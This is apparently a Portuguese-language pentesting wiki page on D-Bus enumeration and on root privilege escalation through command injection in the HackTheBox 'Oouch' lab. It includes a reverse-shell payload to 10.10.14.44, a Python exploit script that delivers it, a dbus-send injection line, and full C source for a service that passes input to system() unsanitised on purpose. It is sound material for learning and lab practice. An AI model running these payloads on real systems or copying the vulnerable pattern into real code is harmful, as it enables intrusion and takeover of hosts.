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D-Bus Enumeration & Command Injection Privilege Escalation
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GUI enumeration
D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por serviços privilegiados para expor serviços relevantes em todo o sistema, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
Os serviços no D-Bus são definidos pelos objetos e interfaces que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um caminho de objeto. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface org.freedesktop.DBus.Introspectable, que possui um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais.
Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada gdbus para fácil invocação de métodos expostos pelo D-Bus em scripts, e D-Feet, uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
sudo apt-get install d-feet
Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com org.debin.apt especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço por objetos, exibindo interfaces, métodos, propriedades e sinais para objetos escolhidos, vistos na segunda imagem. A assinatura de cada método também é detalhada.
Uma característica notável é a exibição do ID do processo (pid) e da linha de comando do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa.
O D-Feet também permite a invocação de métodos: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço.
No entanto, observe que alguns métodos requerem autenticação antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar.
Também note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 se um usuário deve ser autorizado a realizar certas ações ou não.
Enumeração de Linha de Comando
Listar Objetos de Serviço
É possível listar interfaces D-Bus abertas com:
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
Conexões
Do wikipedia: Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado nome de conexão único. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos—de outra forma proibido.
Informações do Objeto de Serviço
Então, você pode obter algumas informações sobre a interface com:
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
List Interfaces of a Service Object
Você precisa ter permissões suficientes.
busctl tree htb.oouch.Block #Get Interfaces of the service object
└─/htb
└─/htb/oouch
└─/htb/oouch/Block
Introspect Interface of a Service Object
Note como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro tree (veja a seção anterior):
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
Note o método .Block da interface htb.oouch.Block (a que nos interessa). O "s" das outras colunas pode significar que está esperando uma string.
Interface de Monitoramento/Captura
Com privilégios suficientes (apenas os privilégios send_destination e receive_sender não são suficientes) você pode monitorar uma comunicação D-Bus.
Para monitorar uma comunicação você precisará ser root. Se você ainda encontrar problemas sendo root, verifique https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ e https://wiki.ubuntu.com/DebuggingDBus
{% hint style="warning" %} Se você sabe como configurar um arquivo de configuração D-Bus para permitir que usuários não root capturem a comunicação, por favor entre em contato comigo! {% endhint %}
Diferentes maneiras de monitorar:
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
No exemplo a seguir, a interface htb.oouch.Block é monitorada e a mensagem "lalalalal" é enviada através de uma má comunicação:
busctl monitor htb.oouch.Block
Monitoring bus message stream.
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
Você pode usar capture em vez de monitor para salvar os resultados em um arquivo pcap.
Filtrando todo o ruído
Se houver informações demais no barramento, passe uma regra de correspondência assim:
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
Várias regras podem ser especificadas. Se uma mensagem corresponder a qualquer uma das regras, a mensagem será impressa. Assim:
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"
Veja a documentação do D-Bus para mais informações sobre a sintaxe da regra de correspondência.
Mais
busctl tem ainda mais opções, encontre todas elas aqui.
Cenário Vulnerável
Como usuário qtc dentro do host "oouch" do HTB, você pode encontrar um arquivo de configuração D-Bus inesperado localizado em /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
Nota da configuração anterior que você precisará ser o usuário root ou www-data para enviar e receber informações através desta comunicação D-BUS.
Como usuário qtc dentro do contêiner docker aeb4525789d8, você pode encontrar algum código relacionado ao dbus no arquivo /code/oouch/routes.py. Este é o código interessante:
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
Como você pode ver, está conectando a uma interface D-Bus e enviando para a função "Block" o "client_ip".
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está ouvindo na conexão D-Bus por endereços IP e chamando iptables via função system para bloquear o endereço IP fornecido.
A chamada para system é vulnerável intencionalmente a injeção de comandos, então um payload como o seguinte criará um shell reverso: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Explore-o
No final desta página, você pode encontrar o código C completo da aplicação D-Bus. Dentro dele, você pode encontrar entre as linhas 91-97 como o caminho do objeto D-Bus e nome da interface são registrados. Esta informação será necessária para enviar informações para a conexão D-Bus:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
Além disso, na linha 57 você pode encontrar que o único método registrado para esta comunicação D-Bus é chamado Block(É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço htb.oouch.Block, a interface /htb/oouch/Block e o nome do método Block):
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Python
O seguinte código python enviará a carga útil para a conexão D-Bus para o método Block via block_iface.Block(runme) (note que foi extraído do bloco de código anterior):
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
busctl e dbus-send
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
dbus-sendé uma ferramenta usada para enviar mensagens para o “Message Bus”- Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente.
- A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão).
- A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos.
- “–dest=Dbus-Interface-Block” O endereço da interface Dbus.
- “–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO.
Observe que em htb.oouch.Block.Block, a primeira parte (htb.oouch.Block) refere-se ao objeto de serviço e a última parte (.Block) refere-se ao nome do método.
C code
{% code title="d-bus_server.c" %}
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
{% endcode %}
Referências
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